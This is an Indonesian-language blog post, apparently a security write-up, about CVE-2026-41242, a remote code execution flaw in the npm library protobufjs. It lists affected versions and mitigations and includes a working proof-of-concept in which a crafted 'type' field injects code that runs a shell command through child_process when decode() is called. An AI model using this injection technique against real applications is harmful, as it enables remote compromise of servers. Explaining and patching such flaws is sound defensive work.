Halo semua, Kembali lagi di Hight Hack. Hari ini kita akan membedah celah keamanan yang cukup segar, baru saja dirilis 5 hari yang lalu: CVE-2026-41242. Celah ini tergolong Critical karena memungkinkan penyerang melakukan Remote Code Execution (RCE) melalui paket npm populer protobufjs.
Protobufjs adalah library JavaScript yang digunakan untuk mengompilasi definisi Protocol Buffers (.proto) menjadi fungsi JavaScript agar data bisa didekode dengan cepat. Masalah muncul ketika library ini "terlalu percaya" pada input di dalam definisi struktur datanya, khususnya pada field "type".
Detail Vulnerability
- CVE ID: CVE-2026-41242
- Severity: Critical (9.0 - 10.0)
- Affected: protobufjs >= 8.0.0 < 8.0.1 dan < 7.5.5
Proof of Concept (PoC)
Berikut adalah contoh bagaimana payload disisipkan dalam deskriptor JSON untuk memicu eksekusi perintah sistem (RCE):
const protobuf = require('protobufjs');
const maliciousDescriptor = JSON.parse(`{
"nested": {
"User": {
"fields": {
"id": { "type": "int32", "id": 1 },
"data": {
"type": "Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X",
"id": 2
}
}
}
}
}`);
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
UserType.decode(Buffer.from([0x08, 0x01, 0x12, 0x07]));
Dalam payload di atas, saya menyuntikkan fungsi anonymous yang memanggil child_process untuk menjalankan perintah id. Begitu metode decode() dipanggil, sistem akan mengeksekusi perintah tersebut secara otomatis.
Langkah Mitigasi
Untuk mengamankan aplikasi anda dari serangan ini, segera lakukan langkah-langkah berikut:
- Update library protobufjs ke versi 8.0.1 atau 7.5.5.
- Pastikan file definisi .proto atau JSON tidak dapat diubah oleh user yang tidak terautentikasi.
- Gunakan alat pemantau dependensi seperti Dependabot atau Snyk.
